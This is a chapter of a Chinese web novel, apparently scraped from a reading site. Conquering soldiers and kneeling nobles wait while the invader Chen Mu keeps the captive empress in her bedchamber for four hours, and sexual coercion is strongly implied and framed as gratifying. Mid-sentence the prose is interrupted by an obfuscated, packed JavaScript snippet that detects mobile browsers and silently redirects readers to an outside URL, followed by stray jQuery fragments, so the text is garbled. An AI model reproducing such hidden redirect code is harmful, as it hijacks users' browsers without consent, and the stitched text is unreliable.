夜深人静。
但奥兰皇宫的正殿内。
却是一片令人窒息的死寂与压抑。
数百名帝国最高级别的权贵、将军、内阁大臣。
依旧维持着五体投地的姿势,跪伏在冰冷的大理石地板上。
金碧辉煌的穹顶下。
上百支婴儿小臂粗的牛油巨烛无声地燃烧着。
将那些平日里高高在上的身影,拉出一条条扭曲且卑微的暗影。
这是一种超越了任何刑罚的精神折磨。
罗斯柴尔德男爵只觉得自己的双膝早已麻木,但他不敢稍有挪动。
他额头上的冷汗顺着鼻尖一滴滴砸在地毯上,早就洇出了一小片深色的水渍。
他不仅在畏惧高台两侧那些面无表情的大虞神机营士兵。
更畏惧那扇通往女皇寝宫的厚重包铜大门!
时间。
已经过去四个小时了!
从那个名叫陈木的东方**,如同扛着一件轻盈的战利品般,将他们至高无上的女皇扛进寝宫,到现在。
整整四个小时!
四个小时。
足以决定一场中等规模战役的胜负。
四个小时。
对于这些在恐惧中苦苦煎熬的奥兰权贵们来说,比一辈子还要漫长。
大殿里没有钟表滴答作响的声音,只有令人绝望的寂静。
每个人都在疯狂地猜测,在那扇沉重的大门背后,究竟正在发生着怎样骇人听闻、甚至称得上亵渎国体的**!
“咕咚。”
人群中,不知是谁极力压抑着咽了一口干涩的唾沫。
在这死寂的空间里。
这声音竟然清晰可闻。
像是在油锅里溅入了一滴水。
顿时,几道神经质的目光惊恐地在人群中交汇。
跪在第一排的,是曾经权倾朝野的内政大臣兼帝国大公爵,格拉汉姆。
这位已经年过六旬、头发花白的老人,此刻浑身止不住地哆嗦着。
他曾在无数次帝国会议上,慷慨激昂地描绘着如何利用那支无敌舰队征服东方,如何将大虞的黄金和奴隶运回奥兰的港口。
可现在,他只能将苍老的脸颊死死地贴在冰冷的地面上。
“这是……这是奇耻大辱啊!”
格拉汉姆大公爵在心底发出无声而悲凉的哀嚎。
伟大的奥兰女皇。
维多利亚三世。
那位用铁腕统治着半个世界、让无数属国闻风丧胆的冷酷女君主。
竟然在他们这些臣子的眼皮子底下。
被一个杀穿了帝都防御的异族**。
公然劫掠进了那代表着帝国最后尊严的寝宫之中!
四个小时!
里面连一点女皇愤怒或者挣扎的声响都没有传出来!
这只意味着两种极其可怕的结果:
要么女皇陛下不堪受辱已经死在了那个野蛮人的剑下。
要么……
女皇陛下正在承受着无法想象的或者是无法启齿的强迫与蹂躏!
甚至。
有些悲观和心理阴暗的贵族
脑海中已经不受控制地浮现出
他们那位平时高不可攀、冰清玉洁的女皇此刻正如同最**的奴隶一般
在那个东方恶魔的鞭挞下曲意逢迎、哀婉承欢的画面。
这种想象让他们感到极度愤怒、**的同时
又生出一种深深的无力感和诡异的战栗。
“咳……”
格拉汉姆大公爵因为过度紧张和长时间的跪姿
胸口憋闷忍不住发出了一声极其微弱的干咳。
“唰!”
这一声微弱的咳嗽在安静得可怕的大殿里简直不亚于一声枪响!
几乎在一瞬间站在高台左侧、手按刀柄的薛听雨那双如同母豹般锐利冰冷的眼眸如同刀锋一般直接刮向了跪在首排的老公爵。
“大……大人饶命……”
格拉汉姆大公爵吓得魂飞魄散刚才因为**而产生的那点怒火瞬间烟消云散只剩下对死亡的极致恐惧。
他慌乱地用双手捂住嘴巴整个人像一只受惊的鹌鹑一样瑟缩成一团因为极度的恐惧他的胯下竟然隐隐渗出了一片可疑的水渍甚至散发出一股骚臭味。
薛听雨只是冷冷地瞥了他一眼嘴角勾起一抹毫不掩饰的嘲讽和轻蔑。
“连给陛下提鞋都不配的软骨头。”
她在心里冷哼了一声,随即将目光重新投向了紧闭的寝宫大门。
不仅是奥兰的贵族们。
就连这些大虞的精锐士兵们。
对于这扇紧闭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283298|185270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了四个多小时的门,内心同样充满了难以言喻的震撼。
尤其是薛听雨。
她跟着陈木出生入死,见过陛下在战场上是如何如战神降世般横扫千军、斩将夺旗的。
她也见过陈木在处理政务时是如何翻手为云覆手为雨的。
但这……
四个小时的“惩罚
陛下这体力……
这真是不当人啊。
那里面可是奥兰的帝国女皇啊!
虽然平日里作威作福。
但毕竟是个凡人体质的弱女子。
哪怕平时练过几天宫廷剑术。
但在陛下面前,能撑到现在还有活气儿吗?
就在薛听雨脑子里忍不住开始胡思乱想。
那些跪在地上的贵族们也在痛苦和绝望中几乎要崩溃晕厥的时候。
“嘎吱——
一声沉闷却极其刺耳的金属摩擦声,突然打破了这长达四个小时的死寂。
那扇如同梦魇般紧闭的厚重包铜寝宫大门。
被人从里面。
缓缓地。
推开了。
所有人的呼吸都在这一刻停滞。
数百双眼睛,向那扇大门瞥去。
首先映入众人眼帘的。
是陈木那高大挺拔的身躯。
他依然穿着那件黑色的丝绸长袍,衣襟随性地敞开着,露出精壮结实的胸膛。
步履从容,神色餍足。
仿佛刚刚只是享用了一顿极其丰盛的晚餐。
他的眼神依旧锐利,只是那股杀气,此刻已经尽数收敛。
带着几分慵懒。
而在陈木的身后。
维多利亚女皇。
拖着极其缓慢而沉重的脚步,出现在了众人的视线中。
她的出场,让整个大殿的温度仿佛又下降了数度!
她换上了一套象征着帝国最高权威的深蓝色华贵宫廷长裙。
金色的长发被一丝不苟地盘起。
头戴那顶镶嵌着鸽子蛋大小红宝石的王冠。
然而。
哪怕是再厚重的粉底。
也无法掩盖她此刻面色的疲惫。
只是那疲惫中。
又带着一丝浅红和娇羞。
她亦步亦趋地跟在陈木身后,微微低着头,像是个女仆。